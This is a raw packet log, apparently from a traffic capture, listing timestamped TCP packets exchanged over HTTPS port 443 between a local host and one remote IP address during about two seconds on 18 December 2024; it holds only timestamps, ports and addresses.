Dec 18, 2024 13:21:31.814085960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.814094067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.814124107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.816797972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.816813946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.816864967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.816869020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.816905022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.822911978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.822930098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.822968960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.822973013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.823015928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.824733973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.824752092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.824805975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.824810028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.824845076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.929105043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.929143906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.929186106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.929213047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.929230928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.929245949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.940305948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.940332890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.940392017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.940418005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.940437078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.940468073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.973357916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.973377943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.973438025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.973510027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:31.973557949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:31.973557949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.004019976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.004095078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.004138947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.004190922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.004225016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.004247904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.005916119 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.005975008 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.006005049 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.006021023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.006052017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.006069899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.009146929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.009205103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.009212971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.009228945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.009279013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.009315014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.014792919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.014863968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.014909029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.014950991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.014983892 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.016366959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.017241955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.017318010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.017324924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.017368078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.017389059 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.017411947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.122065067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.122096062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.122152090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.122178078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.122191906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.122365952 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.133363962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.133403063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.133455038 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.133508921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.133546114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.133568048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.165534019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.165572882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.165651083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.165652037 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.165692091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.165752888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.196284056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.196310043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.196373940 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.196404934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.197151899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.198149920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.198185921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.198216915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.198235035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.198251009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.198270082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.201253891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.201278925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.201325893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.201339006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.201358080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.201373100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.207057953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.207112074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.207139015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.207159042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.207175970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.208029985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.209434986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.209475040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.209503889 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.209525108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.209568977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.209568977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.314620972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.314651012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.314723969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.314800024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.314838886 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.314867973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.325746059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.325776100 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.325841904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.325871944 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.326205015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.357844114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.357875109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.357945919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.358009100 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.358175039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.388288975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.388320923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.388374090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.388417006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.388433933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.389362097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.390209913 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.390242100 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.390285015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.390291929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.390317917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.390336990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.393354893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.393381119 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.393450975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.393467903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.393791914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.398977995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.399017096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.399070978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.399089098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.399116993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.399137974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.401109934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.401129961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.401171923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.401187897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.401217937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.401235104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.506092072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.506124020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.506184101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.506215096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.506230116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.506357908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.517959118 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.517988920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.518038988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.518075943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.518093109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.518115044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.549926043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.549951077 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.550033092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.550085068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.550137997 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.580810070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.580848932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.580894947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.580935001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.580949068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.582372904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.582768917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.582792997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.582827091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.582838058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.582864046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.582880974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.585885048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.585911989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.585977077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.585993052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.586190939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.590986013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.591012001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.591099977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.591116905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.592636108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.593483925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.593507051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.593539953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.593556881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.593575001 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.593588114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.698738098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.698775053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.698823929 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.698853970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.698869944 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.698892117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.709953070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.709984064 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.710036039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.710069895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.710091114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.710108042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.742578030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.742610931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.742685080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.742713928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.742733002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.742749929 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.772785902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.772813082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.772902966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.772927046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.773479939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.775183916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.775203943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.775260925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.775274038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.775357008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.777719975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.777740955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.777822971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.777832031 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.778367996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.783219099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.783245087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.783299923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.783323050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.783344030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.783359051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.785413980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.785433054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.785501003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.785507917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.785537004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.891556025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.891588926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.891661882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.891697884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.891784906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.902374029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.902400970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.902452946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.902482033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.902502060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.902513981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.936322927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.936352015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.936414003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.936446905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.937407970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.968362093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.968389034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.968426943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.968460083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.968472958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.969036102 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.969058990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.969114065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.969121933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.969155073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.969178915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.970973015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.970989943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.971067905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.971081018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.971391916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.975732088 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.975754023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.975805044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.975827932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.975877047 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.977948904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.977966070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.978018999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:32.978032112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:32.978363037 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.083620071 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.083648920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.083707094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.083739042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.083758116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.083775043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.094300032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.094330072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.094398975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.094408989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.094484091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.127135038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.127170086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.127265930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.127283096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.127332926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.157675028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.157708883 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.157815933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.157850981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.158313990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.159542084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.159569979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.159635067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.159643888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.159898996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.162650108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.162668943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.162724018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.162730932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.163038015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.167547941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.167567968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.167623043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.167629004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.168025017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.170370102 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.170392990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.170449972 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.170456886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.170851946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.275562048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.275588036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.275662899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.275706053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.276129007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.286612988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.286633015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.286696911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.286724091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.287175894 CET	49723	443	192.168.2.10	118.107.29.172
